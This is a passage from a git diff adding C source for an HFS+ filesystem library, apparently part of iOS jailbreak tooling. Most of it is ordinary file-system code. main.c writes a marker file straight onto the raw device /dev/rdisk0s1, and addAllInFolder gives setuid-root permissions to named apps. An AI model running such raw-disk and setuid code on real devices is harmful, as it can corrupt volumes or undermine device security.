DIR* dir; + DIR* tmp; + + HFSCatalogNodeID cnid; + + struct dirent* ent; + + AbstractFile* file; + HFSPlusCatalogFile* outFile; + + strcpy(fullName, parentName); + pathComponent = fullName + strlen(fullName); + + ASSERT(getcwd(cwd, 1024) != NULL, "cannot get current working directory"); + + theList = list = getFolderContents(folderID, volume); + + ASSERT((dir = opendir(cwd)) != NULL, "opendir"); + + while((ent = readdir(dir)) != NULL) { + if(ent->d_name[0] == '.' && (ent->d_name[1] == '\0' || (ent->d_name[1] == '.' && ent->d_name[2] == '\0'))) { + continue; + } + + strcpy(pathComponent, ent->d_name); + pathLen = strlen(fullName); + + cnid = 0; + list = theList; + while(list != NULL) { + name = unicodeToAscii(&list->name); + if(strcmp(name, ent->d_name) == 0) { + cnid = (list->record->recordType == kHFSPlusFolderRecord) ? (((HFSPlusCatalogFolder*)list->record)->folderID) + : (((HFSPlusCatalogFile*)list->record)->fileID); + free(name); + break; + } + free(name); + list = list->next; + } + + if((tmp = opendir(ent->d_name)) != NULL) { + closedir(tmp); + printf("folder: %s\n", fullName); fflush(stdout); + + if(cnid == 0) { + cnid = newFolder(fullName, volume); + } + + fullName[pathLen] = '/'; + fullName[pathLen + 1] = '\0'; + ASSERT(chdir(ent->d_name) == 0, "chdir"); + addAllInFolder(cnid, volume, fullName); + ASSERT(chdir(cwd) == 0, "chdir"); + } else { + printf("file: %s\n", fullName); fflush(stdout); + if(cnid == 0) { + cnid = newFile(fullName, volume); + } + file = createAbstractFileFromFile(fopen(ent->d_name, "rb")); + ASSERT(file != NULL, "fopen"); + outFile = (HFSPlusCatalogFile*)getRecordByCNID(cnid, volume); + writeToHFSFile(outFile, file, volume); + file->close(file); + free(outFile); + + if(strncmp(fullName, "/Applications/", sizeof("/Applications/") - 1) == 0) { + testBuffer[0] = '\0'; + strcpy(testBuffer, "/Applications/"); + strcat(testBuffer, ent->d_name); + strcat(testBuffer, ".app/"); + strcat(testBuffer, ent->d_name); + if(strcmp(testBuffer, fullName) == 0) { + if(strcmp(ent->d_name, "Installer") == 0 + || strcmp(ent->d_name, "BootNeuter") == 0 + ) { + printf("Giving setuid permissions to %s...\n", fullName); fflush(stdout); + chmodFile(fullName, 04755, volume); + } else { + printf("Giving permissions to %s\n", fullName); fflush(stdout); + chmodFile(fullName, 0755, volume); + } + } + } else if(strncmp(fullName, "/bin/", sizeof("/bin/") - 1) == 0 + || strncmp(fullName, "/Applications/BootNeuter.app/bin/", sizeof("/Applications/BootNeuter.app/bin/") - 1) == 0 + || strncmp(fullName, "/sbin/", sizeof("/sbin/") - 1) == 0 + || strncmp(fullName, "/usr/sbin/", sizeof("/usr/sbin/") - 1) == 0 + || strncmp(fullName, "/usr/bin/", sizeof("/usr/bin/") - 1) == 0 + || strncmp(fullName, "/usr/libexec/", sizeof("/usr/libexec/") - 1) == 0 + || strncmp(fullName, "/usr/local/bin/", sizeof("/usr/local/bin/") - 1) == 0 + || strncmp(fullName, "/usr/local/sbin/", sizeof("/usr/local/sbin/") - 1) == 0 + || strncmp(fullName, "/usr/local/libexec/", sizeof("/usr/local/libexec/") - 1) == 0 + ) { + chmodFile(fullName, 0755, volume); + printf("Giving permissions to %s\n", fullName); fflush(stdout); + } + } + } + + closedir(dir); + + releaseCatalogRecordList(theList); +} + +void extractAllInFolder(HFSCatalogNodeID folderID, Volume* volume) { + CatalogRecordList* list; + CatalogRecordList* theList; + char cwd[1024]; + char* name; + HFSPlusCatalogFolder* folder; + HFSPlusCatalogFile* file; + AbstractFile* outFile; + struct stat status; + + ASSERT(getcwd(cwd, 1024) != NULL, "cannot get current working directory"); + + theList = list = getFolderContents(folderID, volume); + + while(list != NULL) { + name = unicodeToAscii(&list->name); + if(strncmp(name, ".HFS+ Private Directory Data", sizeof(".HFS+ Private Directory Data") - 1) == 0 || name[0] == '\0') { + free(name); + list = list->next; + continue; + } + + if(list->record->recordType == kHFSPlusFolderRecord) { + folder = (HFSPlusCatalogFolder*)list->record; + printf("folder: %s\n", name); + if(stat(name, &status) != 0) { + ASSERT(mkdir(name, 0755) == 0, "mkdir"); + } + ASSERT(chdir(name) == 0, "chdir"); + extractAllInFolder(folder->folderID, volume); + ASSERT(chdir(cwd) == 0, "chdir"); + } else if(list->record->recordType == kHFSPlusFileRecord) { + printf("file: %s\n", name); + file = (HFSPlusCatalogFile*)list->record; + outFile = createAbstractFileFromFile(fopen(name, "wb")); + if(outFile != NULL) { + writeToFile(file, outFile, volume); + outFile->close(outFile); + } else { + printf("WARNING: cannot fopen %s\n", name); + } + } + + free(name); + list = list->next; + } + releaseCatalogRecordList(theList); +} + + +void addall_hfs(Volume* volume, const char* dirToMerge, const char* dest) { + HFSPlusCatalogRecord* record; + char* name; + char cwd[1024]; + char initPath[1024]; + int lastCharOfPath; + + ASSERT(getcwd(cwd, 1024) != NULL, "cannot get current working directory"); + + if(chdir(dirToMerge) != 0) { + printf("Cannot open that directory: %s\n", dirToMerge); + exit(0); + } + + record = getRecordFromPath(dest, volume, &name, NULL); + strcpy(initPath, dest); + lastCharOfPath = strlen(dest) - 1; + if(dest[lastCharOfPath] != '/') { + initPath[lastCharOfPath + 1] = '/'; + initPath[lastCharOfPath + 2] = '\0'; + } + + if(record != NULL) { + if(record->recordType == kHFSPlusFolderRecord) + addAllInFolder(((HFSPlusCatalogFolder*)record)->folderID, volume, initPath); + else { + printf("Not a folder\n"); + exit(0); + } + } else { + printf("No such file or directory\n"); + exit(0); + } + + ASSERT(chdir(cwd) == 0, "chdir"); + free(record); + +} + +int copyAcrossVolumes(Volume* volume1, Volume* volume2, char* path1, char* path2) { + void* buffer; + size_t bufferSize; + AbstractFile* tmpFile; + int ret; + + buffer = malloc(1); + bufferSize = 0; + tmpFile = createAbstractFileFromMemoryFile((void**)&buffer, &bufferSize); + + printf("retrieving... "); fflush(stdout); + get_hfs(volume1, path1, tmpFile); + tmpFile->seek(tmpFile, 0); + printf("writing (%ld)... ", (long) tmpFile->getLength(tmpFile)); fflush(stdout); + ret = add_hfs(volume2, tmpFile, path2); + printf("done\n"); + + free(buffer); + + return ret; +} + +void displayFolder(HFSCatalogNodeID folderID, Volume* volume) { + CatalogRecordList* list; + CatalogRecordList* theList; + HFSPlusCatalogFolder* folder; + HFSPlusCatalogFile* file; + time_t fileTime; + struct tm *date; + + theList = list = getFolderContents(folderID, volume); + + while(list != NULL) { + if(list->record->recordType == kHFSPlusFolderRecord) { + folder = (HFSPlusCatalogFolder*)list->record; + printf("%06o ", folder->permissions.fileMode); + printf("%3d ", folder->permissions.ownerID); + printf("%3d ", folder->permissions.groupID); + printf("%12d ", folder->valence); + fileTime = APPLE_TO_UNIX_TIME(folder->contentModDate); + } else if(list->record->recordType == kHFSPlusFileRecord) { + file = (HFSPlusCatalogFile*)list->record; + printf("%06o ", file->permissions.fileMode); + printf("%3d ", file->permissions.ownerID); + printf("%3d ", file->permissions.groupID); + printf("%12" PRId64 " ", file->dataFork.logicalSize); + fileTime = APPLE_TO_UNIX_TIME(file->contentModDate); + } + + date = localtime(&fileTime); + if(date != NULL) { + printf("%2d/%2d/%4d %02d:%02d ", date->tm_mon, date->tm_mday, date->tm_year + 1900, date->tm_hour, date->tm_min); + } else { + printf(" "); + } + + printUnicode(&list->name); + printf("\n"); + + list = list->next; + } + + releaseCatalogRecordList(theList); +} + +void displayFileLSLine(HFSPlusCatalogFile* file, const char* name) { + time_t fileTime; + struct tm *date; + + printf("%06o ", file->permissions.fileMode); + printf("%3d ", file->permissions.ownerID); + printf("%3d ", file->permissions.groupID); + printf("%12" PRId64 " ", file->dataFork.logicalSize); + fileTime = APPLE_TO_UNIX_TIME(file->contentModDate); + date = localtime(&fileTime); + if(date != NULL) { + printf("%2d/%2d/%4d %2d:%02d ", date->tm_mon, date->tm_mday, date->tm_year + 1900, date->tm_hour, date->tm_min); + } else { + printf(" "); + } + printf("%s\n", name); +} + +void hfs_ls(Volume* volume, const char* path) { + HFSPlusCatalogRecord* record; + char* name; + + record = getRecordFromPath(path, volume, &name, NULL); + + printf("%s: \n", name); + if(record != NULL) { + if(record->recordType == kHFSPlusFolderRecord) + displayFolder(((HFSPlusCatalogFolder*)record)->folderID, volume); + else + displayFileLSLine((HFSPlusCatalogFile*)record, name); + } else { + printf("No such file or directory\n"); + } + + printf("Total filesystem size: %d, free: %d\n", (volume->volumeHeader->totalBlocks - volume->volumeHeader->freeBlocks) * volume->volumeHeader->blockSize, volume->volumeHeader->freeBlocks * volume->volumeHeader->blockSize); + + free(record); +} + +void hfs_untar(Volume* volume, AbstractFile* tarFile) { + size_t tarSize = tarFile->getLength(tarFile); + size_t curRecord = 0; + char block[512]; + + while(curRecord < tarSize) { + tarFile->seek(tarFile, curRecord); + tarFile->read(tarFile, block, 512); + + uint32_t mode = 0; + char* fileName = NULL; + const char* target = NULL; + uint32_t type = 0; + uint32_t size; + uint32_t uid; + uint32_t gid; + + sscanf(&block[100], "%o", &mode); + fileName = &block[0]; + sscanf(&block[156], "%o", &type); + target = &block[157]; + sscanf(&block[124], "%o", &size); + sscanf(&block[108], "%o", &uid); + sscanf(&block[116], "%o", &gid); + + if(fileName[0] == '\0') + break; + + if(fileName[0] == '.' && fileName[1] == '/') { + fileName += 2; + } + + if(fileName[0] == '\0') + goto loop; + + if(fileName[strlen(fileName) - 1] == '/') + fileName[strlen(fileName) - 1] = '\0'; + + HFSPlusCatalogRecord* record = getRecordFromPath3(fileName, volume, NULL, NULL, TRUE, FALSE, kHFSRootFolderID); + if(record) { + if(record->recordType == kHFSPlusFolderRecord || type == 5) { + printf("ignoring %s, type = %d\n", fileName, type); + free(record); + goto loop; + } else { + printf("replacing %s\n", fileName); + free(record); + removeFile(fileName, volume); + } + } + + if(type == 0) { + printf("file: %s (%04o), size = %d\n", fileName, mode, size); + void* buffer = malloc(size); + tarFile->seek(tarFile, curRecord + 512); + tarFile->read(tarFile, buffer, size); + AbstractFile* inFile = createAbstractFileFromMemory(&buffer, size); + add_hfs(volume, inFile, fileName); + free(buffer); + } else if(type == 5) { + printf("directory: %s (%04o)\n", fileName, mode); + newFolder(fileName, volume); + } else if(type == 2) { + printf("symlink: %s (%04o) -> %s\n", fileName, mode, target); + makeSymlink(fileName, target, volume); + } + + chmodFile(fileName, mode, volume); + chownFile(fileName, uid, gid, volume); + +loop: + + curRecord = (curRecord + 512) + ((size + 511) / 512 * 512); + } + +} + diff --git a/hfs/hfslib.h b/hfs/hfslib.h new file mode 100644 index 0000000..928e204 --- /dev/null +++ b/hfs/hfslib.h @@ -0,0 +1,24 @@ +#include "common.h" +#include "hfsplus.h" +#include "abstractfile.h" + +#ifdef __cplusplus +extern "C" { +#endif + void writeToFile(HFSPlusCatalogFile* file, AbstractFile* output, Volume* volume); + void writeToHFSFile(HFSPlusCatalogFile* file, AbstractFile* input, Volume* volume); + void get_hfs(Volume* volume, const char* inFileName, AbstractFile* output); + int add_hfs(Volume* volume, AbstractFile* inFile, const char* outFileName); + void grow_hfs(Volume* volume, uint64_t newSize); + void removeAllInFolder(HFSCatalogNodeID folderID, Volume* volume, const char* parentName); + void addAllInFolder(HFSCatalogNodeID folderID, Volume* volume, const char* parentName); + void addall_hfs(Volume* volume, const char* dirToMerge, const char* dest); + void extractAllInFolder(HFSCatalogNodeID folderID, Volume* volume); + int copyAcrossVolumes(Volume* volume1, Volume* volume2, char* path1, char* path2); + + void hfs_untar(Volume* volume, AbstractFile* tarFile); + void hfs_ls(Volume* volume, const char* path); +#ifdef __cplusplus +} +#endif + diff --git a/hfs/hfsplus.h b/hfs/hfsplus.h new file mode 100644 index 0000000..68ca4df --- /dev/null +++ b/hfs/hfsplus.h @@ -0,0 +1,511 @@ +#ifndef HFSPLUS_H +#define HFSPLUS_H + +#include +#include +#include + + +#include "common.h" + +#define READ(a, b, c, d) ((*((a)->read))(a, b, c, d)) +#define WRITE(a, b, c, d) ((*((a)->write))(a, b, c, d)) +#define CLOSE(a) ((*((a)->close))(a)) +#define COMPARE(a, b, c) ((*((a)->compare))(b, c)) +#define READ_KEY(a, b, c) ((*((a)->keyRead))(b, c)) +#define WRITE_KEY(a, b, c, d) ((*((a)->keyWrite))(b, c, d)) +#define READ_DATA(a, b, c) ((*((a)->dataRead))(b, c)) + +struct BTKey { + uint16_t keyLength; + unsigned char data[0]; +} __attribute__((__packed__)); + +typedef struct BTKey BTKey; + +typedef BTKey* (*dataReadFunc)(off_t offset, struct io_func_struct* io); +typedef void (*keyPrintFunc)(BTKey* toPrint); +typedef int (*keyWriteFunc)(off_t offset, BTKey* toWrite, struct io_func_struct* io); +typedef int (*compareFunc)(BTKey* left, BTKey* right); + +typedef uint32_t HFSCatalogNodeID; + +enum { + kHFSRootParentID = 1, + kHFSRootFolderID = 2, + kHFSExtentsFileID = 3, + kHFSCatalogFileID = 4, + kHFSBadBlockFileID = 5, + kHFSAllocationFileID = 6, + kHFSStartupFileID = 7, + kHFSAttributesFileID = 8, + kHFSRepairCatalogFileID = 14, + kHFSBogusExtentFileID = 15, + kHFSFirstUserCatalogNodeID = 16 +}; + +#define STR_SIZE(str) (sizeof(uint16_t) + (sizeof(uint16_t) * (str).length)) + +struct HFSUniStr255 { + uint16_t length; + uint16_t unicode[255]; +} __attribute__((__packed__)); +typedef struct HFSUniStr255 HFSUniStr255; +typedef const HFSUniStr255 *ConstHFSUniStr255Param; + +struct HFSPlusExtentDescriptor { + uint32_t startBlock; + uint32_t blockCount; +} __attribute__((__packed__)); +typedef struct HFSPlusExtentDescriptor HFSPlusExtentDescriptor; + +typedef HFSPlusExtentDescriptor HFSPlusExtentRecord[8]; + +struct HFSPlusForkData { + uint64_t logicalSize; + uint32_t clumpSize; + uint32_t totalBlocks; + HFSPlusExtentRecord extents; +} __attribute__((__packed__)); +typedef struct HFSPlusForkData HFSPlusForkData; + +struct HFSPlusVolumeHeader { + uint16_t signature; + uint16_t version; + uint32_t attributes; + uint32_t lastMountedVersion; + uint32_t journalInfoBlock; + + uint32_t createDate; + uint32_t modifyDate; + uint32_t backupDate; + uint32_t checkedDate; + + uint32_t fileCount; + uint32_t folderCount; + + uint32_t blockSize; + uint32_t totalBlocks; + uint32_t freeBlocks; + + uint32_t nextAllocation; + uint32_t rsrcClumpSize; + uint32_t dataClumpSize; + HFSCatalogNodeID nextCatalogID; + + uint32_t writeCount; + uint64_t encodingsBitmap; + + uint32_t finderInfo[8]; + + HFSPlusForkData allocationFile; + HFSPlusForkData extentsFile; + HFSPlusForkData catalogFile; + HFSPlusForkData attributesFile; + HFSPlusForkData startupFile; +} __attribute__((__packed__)); +typedef struct HFSPlusVolumeHeader HFSPlusVolumeHeader; + +enum { + kBTLeafNode = -1, + kBTIndexNode = 0, + kBTHeaderNode = 1, + kBTMapNode = 2 +}; + +struct BTNodeDescriptor { + uint32_t fLink; + uint32_t bLink; + int8_t kind; + uint8_t height; + uint16_t numRecords; + uint16_t reserved; +} __attribute__((__packed__)); +typedef struct BTNodeDescriptor BTNodeDescriptor; + +#define kHFSCaseFolding 0xCF +#define kHFSBinaryCompare 0xBC + +struct BTHeaderRec { + uint16_t treeDepth; + uint32_t rootNode; + uint32_t leafRecords; + uint32_t firstLeafNode; + uint32_t lastLeafNode; + uint16_t nodeSize; + uint16_t maxKeyLength; + uint32_t totalNodes; + uint32_t freeNodes; + uint16_t reserved1; + uint32_t clumpSize; // misaligned + uint8_t btreeType; + uint8_t keyCompareType; + uint32_t attributes; // long aligned again + uint32_t reserved3[16]; +} __attribute__((__packed__)); +typedef struct BTHeaderRec BTHeaderRec; + +struct HFSPlusExtentKey { + uint16_t keyLength; + uint8_t forkType; + uint8_t pad; + HFSCatalogNodeID fileID; + uint32_t startBlock; +} __attribute__((__packed__)); +typedef struct HFSPlusExtentKey HFSPlusExtentKey; + +struct HFSPlusCatalogKey { + uint16_t keyLength; + HFSCatalogNodeID parentID; + HFSUniStr255 nodeName; +} __attribute__((__packed__)); +typedef struct HFSPlusCatalogKey HFSPlusCatalogKey; + +#ifndef __MACTYPES__ +struct Point { + int16_t v; + int16_t h; +} __attribute__((__packed__)); +typedef struct Point Point; + +struct Rect { + int16_t top; + int16_t left; + int16_t bottom; + int16_t right; +} __attribute__((__packed__)); +typedef struct Rect Rect; + +/* OSType is a 32-bit value made by packing four 1-byte characters + together. */ +typedef uint32_t FourCharCode; +typedef FourCharCode OSType; + +#endif + +/* Finder flags (finderFlags, fdFlags and frFlags) */ +enum { + kIsOnDesk = 0x0001, /* Files and folders (System 6) */ + kColor = 0x000E, /* Files and folders */ + kIsShared = 0x0040, /* Files only (Applications only) If */ + /* clear, the application needs */ + /* to write to its resource fork, */ + /* and therefore cannot be shared */ + /* on a server */ + kHasNoINITs = 0x0080, /* Files only (Extensions/Control */ + /* Panels only) */ + /* This file contains no INIT resource */ + kHasBeenInited = 0x0100, /* Files only. Clear if the file */ + /* contains desktop database resources */ + /* ('BNDL', 'FREF', 'open', 'kind'...) */ + /* that have not been added yet. Set */ + /* only by the Finder. */ + /* Reserved for folders */ + kHasCustomIcon = 0x0400, /* Files and folders */ + kIsStationery = 0x0800, /* Files only */ + kNameLocked = 0x1000, /* Files and folders */ + kHasBundle = 0x2000, /* Files only */ + kIsInvisible = 0x4000, /* Files and folders */ + kIsAlias = 0x8000 /* Files only */ +}; + +/* Extended flags (extendedFinderFlags, fdXFlags and frXFlags) */ +enum { + kExtendedFlagsAreInvalid = 0x8000, /* The other extended flags */ + /* should be ignored */ + kExtendedFlagHasCustomBadge = 0x0100, /* The file or folder has a */ + /* badge resource */ + kExtendedFlagHasRoutingInfo = 0x0004 /* The file contains routing */ + /* info resource */ +}; + +enum { + kSymLinkFileType = 0x736C6E6B, /* 'slnk' */ + kSymLinkCreator = 0x72686170 /* 'rhap' */ +}; + +struct FileInfo { + OSType fileType; /* The type of the file */ + OSType fileCreator; /* The file's creator */ + uint16_t finderFlags; + Point location; /* File's location in the folder. */ + uint16_t reservedField; +} __attribute__((__packed__)); +typedef struct FileInfo FileInfo; + +struct ExtendedFileInfo { + int16_t reserved1[4]; + uint16_t extendedFinderFlags; + int16_t reserved2; + int32_t putAwayFolderID; +} __attribute__((__packed__)); +typedef struct ExtendedFileInfo ExtendedFileInfo; + +struct FolderInfo { + Rect windowBounds; /* The position and dimension of the */ + /* folder's window */ + uint16_t finderFlags; + Point location; /* Folder's location in the parent */ + /* folder. If set to {0, 0}, the Finder */ + /* will place the item automatically */ + uint16_t reservedField; +} __attribute__((__packed__)); +typedef struct FolderInfo FolderInfo; + +struct ExtendedFolderInfo { + Point scrollPosition; /* Scroll position (for icon views) */ + int32_t reserved1; + uint16_t extendedFinderFlags; + int16_t reserved2; + int32_t putAwayFolderID; +} __attribute__((__packed__)); +typedef struct ExtendedFolderInfo ExtendedFolderInfo; + +#define S_ISUID 0004000 /* set user id on execution */ +#define S_ISGID 0002000 /* set group id on execution */ +#define S_ISTXT 0001000 /* sticky bit */ + +#define S_IRWXU 0000700 /* RWX mask for owner */ +#define S_IRUSR 0000400 /* R for owner */ +#define S_IWUSR 0000200 /* W for owner */ +#define S_IXUSR 0000100 /* X for owner */ + +#define S_IRWXG 0000070 /* RWX mask for group */ +#define S_IRGRP 0000040 /* R for group */ +#define S_IWGRP 0000020 /* W for group */ +#define S_IXGRP 0000010 /* X for group */ + +#define S_IRWXO 0000007 /* RWX mask for other */ +#define S_IROTH 0000004 /* R for other */ +#define S_IWOTH 0000002 /* W for other */ +#define S_IXOTH 0000001 /* X for other */ + +#define S_IFMT 0170000 /* type of file mask */ +#define S_IFIFO 0010000 /* named pipe (fifo) */ +#define S_IFCHR 0020000 /* character special */ +#define S_IFDIR 0040000 /* directory */ +#define S_IFBLK 0060000 /* block special */ +#define S_IFREG 0100000 /* regular */ +#define S_IFLNK 0120000 /* symbolic link */ +#define S_IFSOCK 0140000 /* socket */ +#define S_IFWHT 0160000 /* whiteout */ + +struct HFSPlusBSDInfo { + uint32_t ownerID; + uint32_t groupID; + uint8_t adminFlags; + uint8_t ownerFlags; + uint16_t fileMode; + union { + uint32_t iNodeNum; + uint32_t linkCount; + uint32_t rawDevice; + } special; +} __attribute__((__packed__)); +typedef struct HFSPlusBSDInfo HFSPlusBSDInfo; + +enum { + kHFSPlusFolderRecord = 0x0001, + kHFSPlusFileRecord = 0x0002, + kHFSPlusFolderThreadRecord = 0x0003, + kHFSPlusFileThreadRecord = 0x0004 +}; + +enum { + kHFSFileLockedBit = 0x0000, /* file is locked and cannot be written to */ + kHFSFileLockedMask = 0x0001, + + kHFSThreadExistsBit = 0x0001, /* a file thread record exists for this file */ + kHFSThreadExistsMask = 0x0002, + + kHFSHasAttributesBit = 0x0002, /* object has extended attributes */ + kHFSHasAttributesMask = 0x0004, + + kHFSHasSecurityBit = 0x0003, /* object has security data (ACLs) */ + kHFSHasSecurityMask = 0x0008, + + kHFSHasFolderCountBit = 0x0004, /* only for HFSX, folder maintains a separate sub-folder count */ + kHFSHasFolderCountMask = 0x0010, /* (sum of folder records and directory hard links) */ + + kHFSHasLinkChainBit = 0x0005, /* has hardlink chain (inode or link) */ + kHFSHasLinkChainMask = 0x0020, + + kHFSHasChildLinkBit = 0x0006, /* folder has a child that's a dir link */ + kHFSHasChildLinkMask = 0x0040 +}; + +struct HFSPlusCatalogFolder { + int16_t recordType; + uint16_t flags; + uint32_t valence; + HFSCatalogNodeID folderID; + uint32_t createDate; + uint32_t contentModDate; + uint32_t attributeModDate; + uint32_t accessDate; + uint32_t backupDate; + HFSPlusBSDInfo permissions; + FolderInfo userInfo; + ExtendedFolderInfo finderInfo; + uint32_t textEncoding; + uint32_t folderCount; +} __attribute__((__packed__)); +typedef struct HFSPlusCatalogFolder HFSPlusCatalogFolder; + +struct HFSPlusCatalogFile { + int16_t recordType; + uint16_t flags; + uint32_t reserved1; + HFSCatalogNodeID fileID; + uint32_t createDate; + uint32_t contentModDate; + uint32_t attributeModDate; + uint32_t accessDate; + uint32_t backupDate; + HFSPlusBSDInfo permissions; + FileInfo userInfo; + ExtendedFileInfo finderInfo; + uint32_t textEncoding; + uint32_t reserved2; + + HFSPlusForkData dataFork; + HFSPlusForkData resourceFork; +} __attribute__((__packed__)); +typedef struct HFSPlusCatalogFile HFSPlusCatalogFile; + +struct HFSPlusCatalogThread { + int16_t recordType; + int16_t reserved; + HFSCatalogNodeID parentID; + HFSUniStr255 nodeName; +} __attribute__((__packed__)); +typedef struct HFSPlusCatalogThread HFSPlusCatalogThread; + +struct HFSPlusCatalogRecord { + int16_t recordType; + unsigned char data[0]; +} __attribute__((__packed__)); +typedef struct HFSPlusCatalogRecord HFSPlusCatalogRecord; + +struct CatalogRecordList { + HFSUniStr255 name; + HFSPlusCatalogRecord* record; + struct CatalogRecordList* next; +}; +typedef struct CatalogRecordList CatalogRecordList; + +struct Extent { + uint32_t startBlock; + uint32_t blockCount; + struct Extent* next; +}; + +typedef struct Extent Extent; + +typedef struct { + io_func* io; + BTHeaderRec *headerRec; + compareFunc compare; + dataReadFunc keyRead; + keyWriteFunc keyWrite; + keyPrintFunc keyPrint; + dataReadFunc dataRead; +} BTree; + +typedef struct { + io_func* image; + HFSPlusVolumeHeader* volumeHeader; + + BTree* extentsTree; + BTree* catalogTree; + io_func* allocationFile; +} Volume; + + +typedef struct { + HFSCatalogNodeID id; + HFSPlusCatalogRecord* catalogRecord; + Volume* volume; + HFSPlusForkData* forkData; + Extent* extents; +} RawFile; + +#ifdef __cplusplus +extern "C" { +#endif + void hfs_panic(const char* panicString); + + void printUnicode(HFSUniStr255* str); + char* unicodeToAscii(HFSUniStr255* str); + + BTNodeDescriptor* readBTNodeDescriptor(uint32_t num, BTree* tree); + + BTHeaderRec* readBTHeaderRec(io_func* io); + + BTree* openBTree(io_func* io, compareFunc compare, dataReadFunc keyRead, keyWriteFunc keyWrite, keyPrintFunc keyPrint, dataReadFunc dataRead); + + void closeBTree(BTree* tree); + + off_t getRecordOffset(int num, uint32_t nodeNum, BTree* tree); + + off_t getNodeNumberFromPointerRecord(off_t offset, io_func* io); + + void* search(BTree* tree, BTKey* searchKey, int *exact, uint32_t *nodeNumber, int *recordNumber); + + io_func* openFlatFile(const char* fileName); + io_func* openFlatFileRO(const char* fileName); + + io_func* openRawFile(HFSCatalogNodeID id, HFSPlusForkData* forkData, HFSPlusCatalogRecord* catalogRecord, Volume* volume); + + void flipExtentRecord(HFSPlusExtentRecord* extentRecord); + + BTree* openExtentsTree(io_func* file); + + void ASCIIToUnicode(const char* ascii, HFSUniStr255* unistr); + + void flipCatalogFolder(HFSPlusCatalogFolder* record); + void flipCatalogFile(HFSPlusCatalogFile* record); + void flipCatalogThread(HFSPlusCatalogThread* record, int out); + + BTree* openCatalogTree(io_func* file); + int updateCatalog(Volume* volume, HFSPlusCatalogRecord* catalogRecord); + int move(const char* source, const char* dest, Volume* volume); + int removeFile(const char* fileName, Volume* volume); + HFSCatalogNodeID newFolder(const char* pathName, Volume* volume); + HFSCatalogNodeID newFile(const char* pathName, Volume* volume); + int chmodFile(const char* pathName, int mode, Volume* volume); + int chownFile(const char* pathName, uint32_t owner, uint32_t group, Volume* volume); + int makeSymlink(const char* pathName, const char* target, Volume* volume); + + HFSPlusCatalogRecord* getRecordByCNID(HFSCatalogNodeID CNID, Volume* volume); + HFSPlusCatalogRecord* getLinkTarget(HFSPlusCatalogRecord* record, HFSCatalogNodeID parentID, HFSPlusCatalogKey *key, Volume* volume); + CatalogRecordList* getFolderContents(HFSCatalogNodeID CNID, Volume* volume); + HFSPlusCatalogRecord* getRecordFromPath(const char* path, Volume* volume, char **name, HFSPlusCatalogKey* retKey); + HFSPlusCatalogRecord* getRecordFromPath2(const char* path, Volume* volume, char **name, HFSPlusCatalogKey* retKey, char traverse); + HFSPlusCatalogRecord* getRecordFromPath3(const char* path, Volume* volume, char **name, HFSPlusCatalogKey* retKey, char traverse, char returnLink, HFSCatalogNodeID parentID); + void releaseCatalogRecordList(CatalogRecordList* list); + + int isBlockUsed(Volume* volume, uint32_t block); + int setBlockUsed(Volume* volume, uint32_t block, int used); + int allocate(RawFile* rawFile, off_t size); + + void flipForkData(HFSPlusForkData* forkData); + + Volume* openVolume(io_func* io); + void closeVolume(Volume *volume); + int updateVolume(Volume* volume); + + int debugBTree(BTree* tree, int displayTree); + + int addToBTree(BTree* tree, BTKey* searchKey, size_t length, unsigned char* content); + + int removeFromBTree(BTree* tree, BTKey* searchKey); + + int32_t FastUnicodeCompare ( register uint16_t str1[], register uint16_t length1, + register uint16_t str2[], register uint16_t length2); +#ifdef __cplusplus +} +#endif + +#endif + diff --git a/hfs/main.c b/hfs/main.c new file mode 100644 index 0000000..31f4925 --- /dev/null +++ b/hfs/main.c @@ -0,0 +1,37 @@ +#include "hfslib.h" +#include + +Volume *volume; + +static char exists(char *path) { + printf("exists? %s\n", path); + char ret = NULL != getRecordFromPath(path, volume, NULL, NULL); + if(!ret) { + printf("%s does not exist; creating\n", path); + } + return ret; +} + +int main() { + AbstractFile *empty = createAbstractFileFromMemory(NULL, 0); + io_func *io = openFlatFile("/dev/rdisk0s1"); + volume = openVolume(io); + printf("volume = %x\n", volume); + hfs_ls(volume, "/"); + hfs_ls(volume, "/private"); + hfs_ls(volume, "/private/var"); + hfs_ls(volume, "/private/var/db"); + hfs_ls(volume, "/private/etc"); + /*io->close(io); + return 0;*/ + if(!exists("/private/var")) + newFolder("/private/var", volume); + if(!exists("/private/var/db")) + newFolder("/private/var/db", volume); + if(!exists("/private/var/db/.launchd_use_gmalloc")) + add_hfs(volume, empty, "/private/var/db/.launchd_use_gmalloc"); + + closeVolume(volume); + io->close(io); + return 0; +} diff --git a/hfs/rawfile.c b/hfs/rawfile.c new file mode 100644 index 0000000..783d3ba --- /dev/null +++ b/hfs/rawfile.c @@ -0,0 +1,499 @@ +#include +#include +#include "hfsplus.h" + +int writeExtents(RawFile* rawFile); + +int isBlockUsed(Volume* volume, uint32_t block) +{ + unsigned char byte; + + READ(volume->allocationFile, block / 8, 1, &byte); + return (byte & (1 << (7 - (block % 8)))) != 0; +} + +int setBlockUsed(Volume* volume, uint32_t block, int used) { + unsigned char byte; + + READ(volume->allocationFile, block / 8, 1, &byte); + if(used) { + byte |= (1 << (7 - (block % 8))); + } else { + byte &= ~(1 << (7 - (block % 8))); + } + ASSERT(WRITE(volume->allocationFile, block / 8, 1, &byte), "WRITE"); + + return TRUE; +} + +int allocate(RawFile* rawFile, off_t size) { + unsigned char* zeros; + Volume* volume; + HFSPlusForkData* forkData; + uint32_t blocksNeeded; + uint32_t blocksToAllocate; + Extent* extent; + Extent* lastExtent; + + uint32_t curBlock; + + volume = rawFile->volume; + forkData = rawFile->forkData; + extent = rawFile->extents; + + blocksNeeded = ((uint64_t)size / (uint64_t)volume->volumeHeader->blockSize) + (((size % volume->volumeHeader->blockSize) == 0) ? 0 : 1); + + if(blocksNeeded > forkData->totalBlocks) { + zeros = (unsigned char*) malloc(volume->volumeHeader->blockSize); + memset(zeros, 0, volume->volumeHeader->blockSize); + + blocksToAllocate = blocksNeeded - forkData->totalBlocks; + + if(blocksToAllocate > volume->volumeHeader->freeBlocks) { + return FALSE; + } + + lastExtent = NULL; + while(extent != NULL) { + lastExtent = extent; + extent = extent->next; + } + + if(lastExtent == NULL) { + rawFile->extents = (Extent*) malloc(sizeof(Extent)); + lastExtent = rawFile->extents; + lastExtent->blockCount = 0; + lastExtent->next = NULL; + curBlock = volume->volumeHeader->nextAllocation; + } else { + curBlock = lastExtent->startBlock + lastExtent->blockCount; + } + + while(blocksToAllocate > 0) { + if(isBlockUsed(volume, curBlock)) { + if(lastExtent->blockCount > 0) { + lastExtent->next = (Extent*) malloc(sizeof(Extent)); + lastExtent = lastExtent->next; + lastExtent->blockCount = 0; + lastExtent->next = 